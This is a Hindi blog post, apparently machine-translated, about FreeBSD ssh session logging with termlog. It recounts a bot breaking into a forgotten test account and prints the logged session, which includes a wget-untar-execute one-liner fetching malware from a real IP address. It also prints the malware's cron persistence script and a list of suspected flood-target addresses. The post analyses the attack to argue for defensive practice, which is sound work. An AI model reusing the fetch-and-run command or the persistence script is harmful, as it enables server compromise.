😯 😍 ↩️ सर्वर मैलवेयर या ssh लॉगर की आवश्यकता क्यों है 🚶🏽 🐿️ 🕹️

शुभ दिन। मैं आपको ssh loggers की उपयोगिता के बारे में बताना चाहता हूँ।
एक सर्वर सिस्टम के रूप में, मैं FreeBSD का उपयोग करना पसंद करता हूं। और, एक नियम के रूप में, मैं सभी उपयोगकर्ताओं के लिए ssh सत्र लॉग करने के लिए एक सिस्टम उपयोगिता - termlog स्थापित करता हूं। दुर्भाग्य से, अब संस्करण 9 में, टर्मलॉग को टूटा हुआ के रूप में चिह्नित किया गया है, क्योंकि utmp को हटा दिया गया है और utmpx के साथ बदल दिया गया है, इसलिए termlog केवल स्रोतों के थोड़े से संपादन के साथ संस्करण 8 पर काम करता है:
फ़ाइल fileops.c, snp_setup फ़ंक्शन

+ logname[rindex(logname,'/')-logname] = 'D'; sm->fp= fopen(logname, "w");

आइए उम्मीद करते हैं कि 9 वें संस्करण के लिए टर्मिनलों को फिर से लिखा जाएगा, क्योंकि यह एक बहुत ही उपयोगी उपयोगिता है। और यहाँ क्यों है। एक बार एक परीक्षण सर्वर पर, जिसमें एक डंडों का पता था और प्रयोगों के लिए इस्तेमाल किया गया था, मैंने टर्मलॉग स्थापित किया और परीक्षण पासवर्ड के साथ उपयोगकर्ता परीक्षण बनाया, जिस पर मैंने टर्मिनलों की जांच की, और फिर सुरक्षित रूप से इस उपयोगकर्ता के बारे में भूल गया। कुछ समय बाद, मुझे उपयोगकर्ता परीक्षण का रिकॉर्डेड सत्र मिला, जिसके बारे में किसी को भी नहीं पता था:

 ;; Session started: 2012-01-09 16:52:36.811241 ;; Username: test ;; TTY line: pts/0 $ w 7:52PM up 1 day, 4:07, 1 user, load averages: 0.00, 0.00, 0.00 USER TTY FROM LOGIN@ IDLE WHAT test pts/0 techsrv-kvm.vpsh 7:52PM - w $ passwd Changing local password for test Old Password: New Password: Retype New Password: $ cd /var/tmp $ ls -a . .. vi.recover $ mkdir ... $ cd ... $ $ wget http://85.112.29.165/kde.tgz ; tar zxvf kde.tgz ; rm -rf kde.tgz ; cd .kde ; chmod +x * ; ./start.sh --2012-01-09 19:56:12-- http://85.112.29.165/kde.tgz Connecting to 85.112.29.165:80... connected. HTTP request sent, awaiting response... 200 OK Length: 218392 (213K) [application/x-gzip] Saving to: `kde.tgz' 0% [ ] 0 --.-K/s 4% [> ] 9,544 36.9K/s 11% [===> ] 24,988 48.2K/s 22% [=======> ] 48,856 63.1K/s 39% [==============> ] 86,764 83.9K/s 58% [=====================> ] 127,480 99.1K/s 72% [===========================> ] 158,368 102K/s 76% [============================> ] 166,792 91.8K/s 80% [==============================> ] 176,620 86.7K/s 94% [===================================> ] 206,104 90.7K/s 100%[======================================>] 218,392 95.3K/s in 2.2s 2012-01-09 19:56:15 (95.3 KB/s) - `kde.tgz' saved [218392/218392] x .kde/ x .kde/1 x .kde/autorun x .kde/b x .kde/b2 x .kde/bang.txt x .kde/cron x .kde/crond x .kde/dir x .kde/f x .kde/f4 x .kde/fwd x .kde/j x .kde/j2 x .kde/mech.help x .kde/mech.set x .kde/run x .kde/s x .kde/sl x .kde/start.sh x .kde/std x .kde/stealth x .kde/stream x .kde/talk x .kde/tty x .kde/update x .kde/v2 x .kde/x ./start.sh: /#bin/bash: not found * * * * * /var/tmp/.../.kde/update >/dev/null 2>&1 ELF binary type "0" not known. crond: 1: Syntax error: "(" unexpected $ rm -rf * $ cd .. $ ls -a . .. .kde $ rm -rf .kde $ w 7:56PM up 1 day, 4:11, 1 user, load averages: 0.22, 0.07, 0.02 USER TTY FROM LOGIN@ IDLE WHAT test pts/0 techsrv-kvm.vpsh 7:52PM - w $ exit

तो वह क्या था? जाहिर है, एक बॉट इंटरनेट के आसपास चलता है और सरल लॉगिन, पासवर्ड जोड़े जैसे कि परीक्षण, परीक्षण या उपयोगकर्ता, पास का उपयोग करके खुले पोर्ट 22 के साथ सर्वर से जुड़ने की कोशिश करता है। और मुझे मानना चाहिए, उसने किया। उसने अनुमान लगाया कि उपयोगकर्ता का नाम और पासवर्ड गलती से मेरे द्वारा भूल गया और लॉग इन करने में कामयाब रहा। उसने आगे क्या किया? सबसे पहले, उन्होंने उपयोगकर्ता परीक्षण के लिए पासवर्ड बदल दिया, और खुद के लिए एक निर्देशिका तैयार की "..."

 $ passwd $ cd /var/tmp $ ls -a . .. vi.recover $ mkdir ... $ cd ...

फिर मैंने केडी को डाउनलोड किया, इसे अनपैक किया और अनपैक्ड को चलाने की कोशिश की।

 wget http://85.112.29.165/kde.tgz ; tar zxvf kde.tgz ; rm -rf kde.tgz ; cd .kde ; chmod +x * ; ./start.sh

जैसा कि आप अनुमान लगा सकते हैं, वहाँ कोई केडी नहीं था, लेकिन कुछ कम हानिरहित। इस संग्रह को अनपैक करते समय, Miscrosoft Security Essentials ने 4 खतरे पाए:

पिछले दरवाजे, बाढ़ और खतरों का खतरा! और पहले मैं कुछ भी गूगल नहीं कर सका। कमजोर नहीं है, अब देखते हैं कि इसे सिस्टम में कैसे लागू किया जाता है।
जाहिरा तौर पर यह सब यहाँ शुरू होता है - ./start.sh

 /#bin/bash ./autorun ./run

यहां 2 ऑटोरन स्क्रिप्ट्स को कहा जाता है, जो लॉन्च को स्वचालित करता है और वास्तविक लॉन्च को खुद चलाता है।
देख लेना ।/autorun

 #!/bin/sh pwd > dir dir=$(cat dir) echo "* * * * * $dir/update >/dev/null 2>&1" > cron crontab cron crontab -l | grep update echo "#!/bin/sh if test -r $dir/mech.pid; then pid=\$(cat $dir/mech.pid) if \$(kill -CHLD \$pid >/dev/null 2>&1) then exit 0 fi fi cd $dir ./run &>/dev/null" > update chmod u+x update

सबसे पहले, बॉट किसी कारण के लिए dir फ़ाइल का उपयोग dir चर में वर्तमान निर्देशिका का पूर्ण पता प्राप्त करने के लिए बफर के रूप में करता है। हालाँकि यह सिर्फ dir = `pwd` का उपयोग कर सकता है, हो सकता है कि dir फ़ाइल का उपयोग वर्तमान निर्देशिका को प्राप्त करने के लिए किसी अन्य स्क्रिप्ट द्वारा कहीं और किया जाए।

 pwd > dir dir=$(cat dir)

फिर यह अद्यतन स्क्रिप्ट को लगातार चलाने के लिए क्रोन फ़ाइल को एक कार्य लिखता है, त्रुटियों और रिपोर्टों के उत्पादन को शून्य करता है और इस फ़ाइल को कार्य के साथ क्राउन प्लानर में जोड़ता है।

 echo "* * * * * $dir/update >/dev/null 2>&1" > cron crontab cron

फिर यह भी जांचता है कि क्या कार्य जोड़ा गया है या नहीं

 crontab -l | grep update

जाहिरा तौर पर सत्र दूसरी तरफ लिखा गया है, और कोई व्यक्ति कार्यान्वयन की सफलता को देख रहा है। या यह सब किसी तरह से स्वचालित है।
और अब बॉट एक अद्यतन स्क्रिप्ट उत्पन्न करता है जो रन स्क्रिप्ट को चलाता है यदि यह पहले से ही नहीं चल रहा है और यदि यह पहले ही लॉन्च हो चुका है, तो यह CHILD सिग्नल को मुख्य प्रक्रिया में भेजकर गुणा करता है। कार्य * * * * * * को इंगित करता है, इसलिए, प्रत्येक मिनट में एक नई बाल प्रक्रिया का गठन किया जाएगा।

 echo "#!/bin/sh if test -r $dir/mech.pid; then pid=\$(cat $dir/mech.pid) if \$(kill -CHLD \$pid >/dev/null 2>&1) then exit 0 fi fi cd $dir ./run &>/dev/null" > update chmod u+x update

रन स्क्रिप्ट में क्रोन के लिए एक कॉल होता है, जो कि केडी फ़ोल्डर से बाढ़ और अन्य खराब चीजों के सभी बैकडोर को चलाने के लिए लगता है। एंटीवायरस स्टील्थ फाइल पर शपथ लेता है।

 #!/bin/sh export PATH=. Crond

लेकिन ssh- सत्र लॉग से यह रेखा स्पष्ट करती है कि बॉट को सिंटैक्स में गलत किया गया था। जाहिरा तौर पर स्क्रिप्ट को FreeBSD 8 पर परीक्षण नहीं किया गया है और बाइनरी फ़ाइल शेल में कमांड का उपयोग करता है।

 ELF binary type "0" not known. crond: 1: Syntax error: "(" unexpected

मैंने एक धमाकेदार फ़ाइल पर भी ध्यान दिया जिसमें फॉर्म के बंदरगाहों के साथ आईपी पते की एक सूची थी:

 62.231.97.194:25 193.226.151.44:80 81.196.51.19:1025 193.231.212.123:80 80.97.145.79:80 81.196.102.250:443 81.196.119.21:1025

यह सबसे अधिक संभावना है कि DoS या बाढ़ के हमलों के लक्ष्य की सूची। देखें kde.tgz (आर्काइव के लिए पासवर्ड हाइब्रिड है), अगर किसी को दिलचस्पी है, तो डाउनलोड करें और देखें, हो सकता है कि आपके सर्वर का आईपी पता भी सूची में हो।
संक्षेप में कहना

Ssh loggers का उपयोग करना बहुत उपयोगी हो सकता है। यदि आपका सर्वर हैक हो गया है, तो आप यह पता लगा सकते हैं कि यह कैसे करना है और छेद को बंद करना है। एक हमलावर, निश्चित रूप से, ssh सत्र लॉग को रगड़ सकता है, लेकिन यह संभावना नहीं है कि वह इस पर समय बिताएगा। इसके अलावा, अगर यह एक बॉट भी है।
सर्वर-साइड मैलवेयर क्लाइंट-साइड मैलवेयर से कम खतरनाक नहीं है, क्योंकि यह सर्वर को यूनिक्स करता है और उनके गंदे उद्देश्यों के लिए उपयोग करता है।
बुनियादी सुरक्षा नियमों का पालन करें - यदि आप पासवर्ड का उपयोग करने की आवश्यकता है, और उन्हें समय-समय पर बदलने के लिए ssh कुंजी या पासवर्ड का उपयोग करें, जो खोज के लिए प्रतिरोधी हैं।
एक अच्छे एंटीवायरस या गैर-विंडोज़ ओएस परिवार का उपयोग करें। Ftp और ssh के लिए कई होस्टिंग सेवाएँ एक ही खाते का उपयोग करती हैं। इस प्रकार, यदि आपके कंप्यूटर पर ट्रोजन है, तो यह आपके सर्वर से आपके उपयोगकर्ता नाम और पासवर्ड को ftp प्रबंधक से चुरा सकता है और हमलावर ssh के माध्यम से सफलतापूर्वक लॉग इन कर सकता है, लेकिन आगे क्या होता है, मुझे लगता है कि यह स्पष्ट है।
अपने सर्वर पर क्रोन, init.d, rc.d, आदि में निर्दिष्ट कार्यों की सूची देखें। यह अच्छी तरह से हो सकता है कि आपका सर्वर ज़ोंबी है, लेकिन आपको इसके बारे में नहीं पता है।
अनावश्यक होने पर परीक्षण खाते हटाएं।

मैं इस विषय पर लेखों की श्रृंखला को अलग-अलग यूनिक्स प्रणालियों के लिए ssh लकड़हारे की समीक्षा करके और एक सर्वर एंटीवायरस लिखकर जारी रखने का इरादा रखता हूं, जो कर्नेल के माध्यम से फ़ाइल सिस्टम कॉल को रोक देगा और परिवर्तन की जाँच करेगा, संक्रमित फ़ाइल की सूचना कॉपी / ब्लॉक / सूचित करेगा।

टर्मलॉग स्रोतों के संपादन का एक समाधान forum.lissyara.su पर पाया गया

सर्वर मैलवेयर या ssh लॉगर की आवश्यकता क्यों है

More articles: